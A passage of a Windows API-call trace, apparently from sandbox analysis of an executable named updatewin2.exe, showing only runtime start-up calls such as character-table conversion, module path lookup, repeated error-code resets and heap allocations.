\x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸĀ") returned 256 [0053.196] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸĀ", cchWideChar=256, lpMultiByteStr=0x18fb64, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x8a\x9b\x8c\x9d\x8e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xf7\xd8\xd9\xda\xdb\xdc\xdd\xde\x9f\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\xff\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xd7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\xad\x99\xff\x49\x9c\xfe\x18", lpUsedDefaultChar=0x0) returned 256 [0053.196] GetModuleFileNameA (in: hModule=0x0, lpFilename=0x43acc0, nSize=0x104 | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\5f157674-79c2-4ded-9dab-75219d8fb8ff\\updatewin2.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\5f157674-79c2-4ded-9dab-75219d8fb8ff\\updatewin2.exe")) returned 0x5f [0053.196] GetLastError () returned 0x0 [0053.196] SetLastError (dwErrCode=0x0) [0053.196] GetLastError () returned 0x0 [0053.196] SetLastError (dwErrCode=0x0) [0053.196] GetLastError () returned 0x0 [0053.196] SetLastError (dwErrCode=0x0) [0053.196] GetLastError () returned 0x0 [0053.196] SetLastError (dwErrCode=0x0) [0053.196] GetLastError () returned 0x0 [0053.196] SetLastError (dwErrCode=0x0) [0053.196] GetLastError () returned 0x0 [0053.196] SetLastError (dwErrCode=0x0) [0053.196] GetLastError () returned 0x0 [0053.196] SetLastError (dwErrCode=0x0) [0053.196] GetLastError () returned 0x0 [0053.196] SetLastError (dwErrCode=0x0) [0053.197] GetLastError () returned 0x0 [0053.197] SetLastError (dwErrCode=0x0) [0053.197] GetLastError () returned 0x0 [0053.197] SetLastError (dwErrCode=0x0) [0053.197] GetLastError () returned 0x0 [0053.197] SetLastError (dwErrCode=0x0) [0053.197] GetLastError () returned 0x0 [0053.197] SetLastError (dwErrCode=0x0) [0053.197] GetLastError () returned 0x0 [0053.197] SetLastError (dwErrCode=0x0) [0053.197] GetLastError () returned 0x0 [0053.197] SetLastError (dwErrCode=0x0) [0053.197] GetLastError () returned 0x0 [0053.197] SetLastError (dwErrCode=0x0) [0053.197] GetLastError () returned 0x0 [0053.197] SetLastError (dwErrCode=0x0) [0053.197] GetLastError () returned 0x0 [0053.197] SetLastError (dwErrCode=0x0) [0053.197] GetLastError () returned 0x0 [0053.197] SetLastError (dwErrCode=0x0) [0053.197] GetLastError () returned 0x0 [0053.197] SetLastError (dwErrCode=0x0) [0053.197] GetLastError () returned 0x0 [0053.197] SetLastError (dwErrCode=0x0) [0053.197] GetLastError () returned 0x0 [0053.198] SetLastError (dwErrCode=0x0) [0053.198] GetLastError () returned 0x0 [0053.198] SetLastError (dwErrCode=0x0) [0053.198] GetLastError () returned 0x0 [0053.198] SetLastError (dwErrCode=0x0) [0053.198] GetLastError () returned 0x0 [0053.198] SetLastError (dwErrCode=0x0) [0053.198] GetLastError () returned 0x0 [0053.198] SetLastError (dwErrCode=0x0) [0053.198] GetLastError () returned 0x0 [0053.198] SetLastError (dwErrCode=0x0) [0053.198] GetLastError () returned 0x0 [0053.198] SetLastError (dwErrCode=0x0) [0053.198] GetLastError () returned 0x0 [0053.198] SetLastError (dwErrCode=0x0) [0053.198] GetLastError () returned 0x0 [0053.198] SetLastError (dwErrCode=0x0) [0053.198] GetLastError () returned 0x0 [0053.198] SetLastError (dwErrCode=0x0) [0053.198] GetLastError () returned 0x0 [0053.198] SetLastError (dwErrCode=0x0) [0053.198] GetLastError () returned 0x0 [0053.198] SetLastError (dwErrCode=0x0) [0053.198] GetLastError () returned 0x0 [0053.198] SetLastError (dwErrCode=0x0) [0053.199] GetLastError () returned 0x0 [0053.199] SetLastError (dwErrCode=0x0) [0053.199] GetLastError () returned 0x0 [0053.199] SetLastError (dwErrCode=0x0) [0053.199] GetLastError () returned 0x0 [0053.199] SetLastError (dwErrCode=0x0) [0053.199] GetLastError () returned 0x0 [0053.199] SetLastError (dwErrCode=0x0) [0053.199] GetLastError () returned 0x0 [0053.199] SetLastError (dwErrCode=0x0) [0053.199] GetLastError () returned 0x0 [0053.199] SetLastError (dwErrCode=0x0) [0053.199] GetLastError () returned 0x0 [0053.199] SetLastError (dwErrCode=0x0) [0053.199] GetLastError () returned 0x0 [0053.199] SetLastError (dwErrCode=0x0) [0053.199] GetLastError () returned 0x0 [0053.199] SetLastError (dwErrCode=0x0) [0053.199] GetLastError () returned 0x0 [0053.199] SetLastError (dwErrCode=0x0) [0053.199] GetLastError () returned 0x0 [0053.199] SetLastError (dwErrCode=0x0) [0053.199] GetLastError () returned 0x0 [0053.199] SetLastError (dwErrCode=0x0) [0053.199] GetLastError () returned 0x0 [0053.199] SetLastError (dwErrCode=0x0) [0053.199] GetLastError () returned 0x0 [0053.200] SetLastError (dwErrCode=0x0) [0053.200] GetLastError () returned 0x0 [0053.200] SetLastError (dwErrCode=0x0) [0053.200] GetLastError () returned 0x0 [0053.200] SetLastError (dwErrCode=0x0) [0053.200] GetLastError () returned 0x0 [0053.200] SetLastError (dwErrCode=0x0) [0053.200] GetLastError () returned 0x0 [0053.200] SetLastError (dwErrCode=0x0) [0053.200] GetLastError () returned 0x0 [0053.200] SetLastError (dwErrCode=0x0) [0053.200] GetLastError () returned 0x0 [0053.200] SetLastError (dwErrCode=0x0) [0053.200] GetLastError () returned 0x0 [0053.200] SetLastError (dwErrCode=0x0) [0053.200] GetLastError () returned 0x0 [0053.200] SetLastError (dwErrCode=0x0) [0053.200] GetLastError () returned 0x0 [0053.200] SetLastError (dwErrCode=0x0) [0053.200] GetLastError () returned 0x0 [0053.200] SetLastError (dwErrCode=0x0) [0053.200] GetLastError () returned 0x0 [0053.200] SetLastError (dwErrCode=0x0) [0053.200] GetLastError () returned 0x0 [0053.200] SetLastError (dwErrCode=0x0) [0053.200] GetLastError () returned 0x0 [0053.201] SetLastError (dwErrCode=0x0) [0053.201] GetLastError () returned 0x0 [0053.201] SetLastError (dwErrCode=0x0) [0053.201] GetLastError () returned 0x0 [0053.201] SetLastError (dwErrCode=0x0) [0053.201] GetLastError () returned 0x0 [0053.201] SetLastError (dwErrCode=0x0) [0053.201] GetLastError () returned 0x0 [0053.201] SetLastError (dwErrCode=0x0) [0053.201] GetLastError () returned 0x0 [0053.201] SetLastError (dwErrCode=0x0) [0053.201] GetLastError () returned 0x0 [0053.201] SetLastError (dwErrCode=0x0) [0053.201] GetLastError () returned 0x0 [0053.201] SetLastError (dwErrCode=0x0) [0053.201] GetLastError () returned 0x0 [0053.201] SetLastError (dwErrCode=0x0) [0053.201] GetLastError () returned 0x0 [0053.201] SetLastError (dwErrCode=0x0) [0053.201] GetLastError () returned 0x0 [0053.201] SetLastError (dwErrCode=0x0) [0053.201] GetLastError () returned 0x0 [0053.201] SetLastError (dwErrCode=0x0) [0053.201] GetLastError () returned 0x0 [0053.202] SetLastError (dwErrCode=0x0) [0053.202] GetLastError () returned 0x0 [0053.202] SetLastError (dwErrCode=0x0) [0053.202] GetLastError () returned 0x0 [0053.202] SetLastError (dwErrCode=0x0) [0053.202] GetLastError () returned 0x0 [0053.202] SetLastError (dwErrCode=0x0) [0053.202] GetLastError () returned 0x0 [0053.202] SetLastError (dwErrCode=0x0) [0053.202] GetLastError () returned 0x0 [0053.202] SetLastError (dwErrCode=0x0) [0053.202] GetLastError () returned 0x0 [0053.202] SetLastError (dwErrCode=0x0) [0053.202] GetLastError () returned 0x0 [0053.202] SetLastError (dwErrCode=0x0) [0053.202] GetLastError () returned 0x0 [0053.202] SetLastError (dwErrCode=0x0) [0053.202] GetLastError () returned 0x0 [0053.202] SetLastError (dwErrCode=0x0) [0053.202] GetLastError () returned 0x0 [0053.202] SetLastError (dwErrCode=0x0) [0053.202] GetLastError () returned 0x0 [0053.202] SetLastError (dwErrCode=0x0) [0053.202] GetLastError () returned 0x0 [0053.203] SetLastError (dwErrCode=0x0) [0053.203] GetLastError () returned 0x0 [0053.203] SetLastError (dwErrCode=0x0) [0053.203] GetLastError () returned 0x0 [0053.203] SetLastError (dwErrCode=0x0) [0053.203] GetLastError () returned 0x0 [0053.203] SetLastError (dwErrCode=0x0) [0053.203] GetLastError () returned 0x0 [0053.203] SetLastError (dwErrCode=0x0) [0053.203] GetLastError () returned 0x0 [0053.203] SetLastError (dwErrCode=0x0) [0053.203] GetLastError () returned 0x0 [0053.203] SetLastError (dwErrCode=0x0) [0053.203] GetLastError () returned 0x0 [0053.203] SetLastError (dwErrCode=0x0) [0053.203] GetLastError () returned 0x0 [0053.203] SetLastError (dwErrCode=0x0) [0053.203] GetLastError () returned 0x0 [0053.203] SetLastError (dwErrCode=0x0) [0053.203] GetLastError () returned 0x0 [0053.203] SetLastError (dwErrCode=0x0) [0053.203] GetLastError () returned 0x0 [0053.203] SetLastError (dwErrCode=0x0) [0053.203] GetLastError () returned 0x0 [0053.203] SetLastError (dwErrCode=0x0) [0053.204] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x68) returned 0x1b1990 [0053.204] GetLastError () returned 0x0 [0053.204] SetLastError (dwErrCode=0x0) [0053.204] GetLastError () returned 0x0 [0053.204] SetLastError (dwErrCode=0x0) [0053.204] GetLastError () returned 0x0 [0053.204] SetLastError (dwErrCode=0x0) [0053.204] GetLastError () returned 0x0 [0053.204] SetLastError (dwErrCode=0x0) [0053.204] GetLastError () returned 0x0 [0053.204] SetLastError (dwErrCode=0x0) [0053.204] GetLastError () returned 0x0 [0053.204] SetLastError (dwErrCode=0x0) [0053.204] GetLastError () returned 0x0 [0053.204] SetLastError (dwErrCode=0x0) [0053.204] GetLastError () returned 0x0 [0053.204] SetLastError (dwErrCode=0x0) [0053.204] GetLastError () returned 0x0 [0053.204] SetLastError (dwErrCode=0x0) [0053.204] GetLastError () returned 0x0 [0053.204] SetLastError (dwErrCode=0x0) [0053.204] GetLastError () returned 0x0 [0053.204] SetLastError (dwErrCode=0x0) [0053.204] GetLastError () returned 0x0 [0053.204] SetLastError (dwErrCode=0x0) [0053.204] GetLastError () returned 0x0 [0053.205] SetLastError (dwErrCode=0x0) [0053.205] GetLastError () returned 0x0 [0053.205] SetLastError (dwErrCode=0x0) [0053.205] GetLastError () returned 0x0 [0053.205] SetLastError (dwErrCode=0x0) [0053.205] GetLastError () returned 0x0 [0053.205] SetLastError (dwErrCode=0x0) [0053.205] GetLastError () returned 0x0 [0053.205] SetLastError (dwErrCode=0x0) [0053.205] GetLastError () returned 0x0 [0053.205] SetLastError (dwErrCode=0x0) [0053.205] GetLastError () returned 0x0 [0053.205] SetLastError (dwErrCode=0x0) [0053.205] GetLastError () returned 0x0 [0053.205] SetLastError (dwErrCode=0x0) [0053.205] GetLastError () returned 0x0 [0053.205] SetLastError (dwErrCode=0x0) [0053.205] GetLastError () returned 0x0 [0053.205] SetLastError (dwErrCode=0x0) [0053.205] GetLastError () returned 0x0 [0053.205] SetLastError (dwErrCode=0x0) [0053.205] GetLastError () returned 0x0 [0053.205] SetLastError (dwErrCode=0x0) [0053.205] GetLastError () returned 0x0 [0053.205] SetLastError (dwErrCode=0x0) [0053.206] GetLastError () returned 0x0 [0053.206] SetLastError (dwErrCode=0x0) [0053.206] GetLastError () returned 0x0 [0053.206] SetLastError (dwErrCode=0x0) [0053.206] GetLastError () returned 0x0 [0053.206] SetLastError (dwErrCode=0x0) [0053.206] GetLastError () returned 0x0 [0053.206] SetLastError (dwErrCode=0x0) [0053.206] GetLastError () returned 0x0 [0053.206] SetLastError (dwErrCode=0x0) [0053.206] GetLastError () returned 0x0 [0053.206] SetLastError (dwErrCode=0x0) [0053.206] GetLastError () returned 0x0 [0053.206] SetLastError (dwErrCode=0x0) [0053.206] GetLastError () returned 0x0 [0053.206] SetLastError (dwErrCode=0x0) [0053.206] GetLastError () returned 0x0 [0053.206] SetLastError (dwErrCode=0x0) [0053.206] GetLastError () returned 0x0 [0053.206] SetLastError (dwErrCode=0x0) [0053.206] GetLastError () returned 0x0 [0053.206] SetLastError (dwErrCode=0x0) [0053.206] GetLastError () returned 0x0 [0053.206] SetLastError (dwErrCode=0x0) [0053.207] GetLastError () returned 0x0 [0053.207] SetLastError (dwErrCode=0x0) [0053.207] GetLastError () returned 0x0 [0053.207] SetLastError (dwErrCode=0x0) [0053.207] GetLastError () returned 0x0 [0053.222] SetLastError (dwErrCode=0x0) [0053.222] GetLastError () returned 0x0 [0053.223] SetLastError (dwErrCode=0x0) [0053.223] GetLastError () returned 0x0 [0053.223] SetLastError (dwErrCode=0x0) [0053.223] GetLastError () returned 0x0 [0053.223] SetLastError (dwErrCode=0x0) [0053.223] GetLastError () returned 0x0 [0053.223] SetLastError (dwErrCode=0x0) [0053.223] GetLastError () returned 0x0 [0053.223] SetLastError (dwErrCode=0x0) [0053.223] GetLastError () returned 0x0 [0053.223] SetLastError (dwErrCode=0x0) [0053.223] GetLastError () returned 0x0 [0053.223] SetLastError (dwErrCode=0x0) [0053.223] GetLastError () returned 0x0 [0053.223] SetLastError (dwErrCode=0x0) [0053.223] GetLastError () returned 0x0 [0053.223] SetLastError (dwErrCode=0x0) [0053.223] GetLastError () returned 0x0 [0053.224] SetLastError (dwErrCode=0x0) [0053.224] GetLastError () returned 0x0 [0053.224] SetLastError (dwErrCode=0x0) [0053.224] GetLastError () returned 0x0 [0053.224] SetLastError (dwErrCode=0x0) [0053.224] GetLastError () returned 0x0 [0053.224] SetLastError (dwErrCode=0x0) [0053.224] GetLastError () returned 0x0 [0053.224] SetLastError (dwErrCode=0x0) [0053.224] GetLastError () returned 0x0 [0053.224] SetLastError (dwErrCode=0x0) [0053.224] GetLastError () returned 0x0 [0053.224] SetLastError (dwErrCode=0x0) [0053.224] GetLastError () returned 0x0 [0053.224] SetLastError (dwErrCode=0x0) [0053.224] GetLastError () returned 0x0 [0053.224] SetLastError (dwErrCode=0x0) [0053.224] GetLastError () returned 0x0 [0053.224] SetLastError (dwErrCode=0x0) [0053.224] GetLastError () returned 0x0 [0053.224] SetLastError (dwErrCode=0x0) [0053.224] GetLastError () returned 0x0 [0053.224] SetLastError (dwErrCode=0x0) [0053.224] GetLastError () returned 0x0 [0053.224] SetLastError (dwErrCode=0x0) [0053.224] GetLastError () returned 0x0 [0053.225] SetLastError (dwErrCode=0x0) [0053.225] GetLastError () returned 0x0 [0053.225] SetLastError (dwErrCode=0x0) [0053.225] GetLastError () returned 0x0 [0053.225] SetLastError (dwErrCode=0x0) [0053.225] GetLastError () returned 0x0 [0053.225] SetLastError (dwErrCode=0x0) [0053.225] GetLastError () returned 0x0 [0053.225] SetLastError (dwErrCode=0x0) [0053.225] GetLastError () returned 0x0 [0053.225] SetLastError (dwErrCode=0x0) [0053.225] GetLastError () returned 0x0 [0053.225] SetLastError (dwErrCode=0x0) [0053.225] GetLastError () returned 0x0 [0053.225] SetLastError (dwErrCode=0x0) [0053.225] GetLastError () returned 0x0 [0053.225] SetLastError (dwErrCode=0x0) [0053.225] GetLastError () returned 0x0 [0053.225] SetLastError (dwErrCode=0x0) [0053.225] GetLastError () returned 0x0 [0053.225] SetLastError (dwErrCode=0x0) [0053.225] GetLastError () returned 0x0 [0053.225] SetLastError (dwErrCode=0x0) [0053.225] GetLastError () returned 0x0 [0053.225] SetLastError (dwErrCode=0x0) [0053.225] GetLastError () returned 0x0 [0053.226] SetLastError (dwErrCode=0x0) [0053.226] GetLastError () returned 0x0 [0053.226] SetLastError (dwErrCode=0x0) [0053.226] GetLastError () returned 0x0 [0053.226] SetLastError (dwErrCode=0x0) [0053.226] GetLastError () returned 0x0 [0053.226] SetLastError (dwErrCode=0x0) [0053.226] GetLastError () returned 0x0 [0053.226] SetLastError (dwErrCode=0x0) [0053.226] GetLastError () returned 0x0 [0053.226] SetLastError (dwErrCode=0x0) [0053.226] GetLastError () returned 0x0 [0053.226] SetLastError (dwErrCode=0x0) [0053.226] GetLastError () returned 0x0 [0053.226] SetLastError (dwErrCode=0x0) [0053.226] GetLastError () returned 0x0 [0053.226] SetLastError (dwErrCode=0x0) [0053.226] GetLastError () returned 0x0 [0053.226] SetLastError (dwErrCode=0x0) [0053.226] GetLastError () returned 0x0 [0053.226] SetLastError (dwErrCode=0x0) [0053.226] GetLastError () returned 0x0 [0053.226] SetLastError (dwErrCode=0x0) [0053.226] GetLastError () returned 0x0 [0053.227] SetLastError (dwErrCode=0x0) [0053.227] GetLastError () returned 0x0 [0053.227] SetLastError (dwErrCode=0x0) [0053.227] GetLastError () returned 0x0 [0053.227] SetLastError (dwErrCode=0x0) [0053.227] GetLastError () returned 0x0 [0053.227] SetLastError (dwErrCode=0x0) [0053.227] GetLastError () returned 0x0 [0053.227] SetLastError (dwErrCode=0x0) [0053.227] GetLastError () returned 0x0 [0053.227] SetLastError (dwErrCode=0x0) [0053.227] GetLastError () returned 0x0 [0053.227] SetLastError (dwErrCode=0x0) [0053.227] GetLastError () returned 0x0 [0053.227] SetLastError (dwErrCode=0x0) [0053.227] GetLastError () returned 0x0 [0053.227] SetLastError (dwErrCode=0x0) [0053.227] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x98) returned 0x1b1a00 [0053.227] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x1f) returned 0x1b1aa0 [0053.227] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x36) returned 0x1b1ac8 [0053.227] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x37) returned 0x1b1b08 [0053.227] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x3c) returned 0x1b1b48 [0053.227] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x31) returned 0x1b1b90 [0053.227] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x17) returned 0x1b1bd0 [0053.227] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x24) returned 0x1b1bf0 [0053.227] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x14) returned 0x1b1c20 [0053.227] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0xd) returned 0x1b1c40 [0053.227] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x25) returned 0x1b1c58 [0053.227] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x39) returned 0x1b1c88 [0053.228] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x18) returned 0x1b1cd0 [0053.228] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x17) returned 0x1b1cf0 [0053.228] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0xe) returned 0x1b1d10 [0053.228] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x69) returned 0x1b1d28 [0053.228] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x3e) returned 0x1b1da0 [0053.228] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x1b) returned 0x1b1de8 [0053.228] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x1d) returned 0x1b1e10 [0053.228] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x48) returned 0x1b1e38 [0053.228] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x12) returned 0x1b1e88 [0053.228] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x18) returned 0x1b1ea8 [0053.228] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x1b) returned 0x1b1ec8 [0053.228] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x24) returned 0x1b1ef0 [0053.228] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x29) returned 0x1b1f20 [0053.228] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x1e) returned 0x1b1f58 [0053.228] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x41) returned 0x1b1f80 [0053.228] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x17) returned 0x1b1fd0 [0053.228] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0xf) returned 0x1b1ff0 [0053.228] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x16) returned 0x1b2008 [0053.228] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x2a) returned 0x1b2028 [0053.228] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x29) returned 0x1b2060 [0053.228] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x15) returned 0x1b2098 [0053.228] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x1e) returned 0x1b20b8 [0053.228] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x2a) returned 0x1b20e0 [0053.228] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x12) returned 0x1b2118 [0053.228] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x18) returned 0x1b2138 [0053.228] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x46) returned 0x1b2158 [0053.228] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1b11f8 | out: hHeap=0x1b0000) returned 1 [0053.229] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x800) returned 0x1b21a8 [0053.229] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x80) returned 0x1b11f8 [0053.229] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x404e49) returned 0x0 [0053.230] RtlSizeHeap (HeapHandle=0x1b0000, Flags=0x0, MemoryPointer=0x1b11f8) returned 0x80 [0053.230] GetLastError () returned 0x0 [0053.230] SetLastError (dwErrCode=0x0) [0053.230] GetLastError () returned 0x0 [0053.230] SetLastError (dwErrCode=0x0) [0053.230] GetLastError () returned 0x0 [0053.230] SetLastError (dwErrCode=0x0) [0053.230] GetLastError () returned 0x0 [0053.230] SetLastError (dwErrCode=0x0) [0053.230] GetLastError () returned 0x0 [0053.230] SetLastError (dwErrCode=0x0) [0053.230] GetLastError () returned 0x0 [0053.231] SetLastError (dwErrCode=0x0) [0053.231] GetLastError () returned 0x0 [0053.231] SetLastError (dwErrCode=0x0) [0053.231] GetLastError () returned 0x0 [0053.231] SetLastError (dwErrCode=0x0) [0053.231] GetLastError () returned 0x0 [0053.231] SetLastError (dwErrCode=0x0) [0053.231] GetLastError () returned 0x0 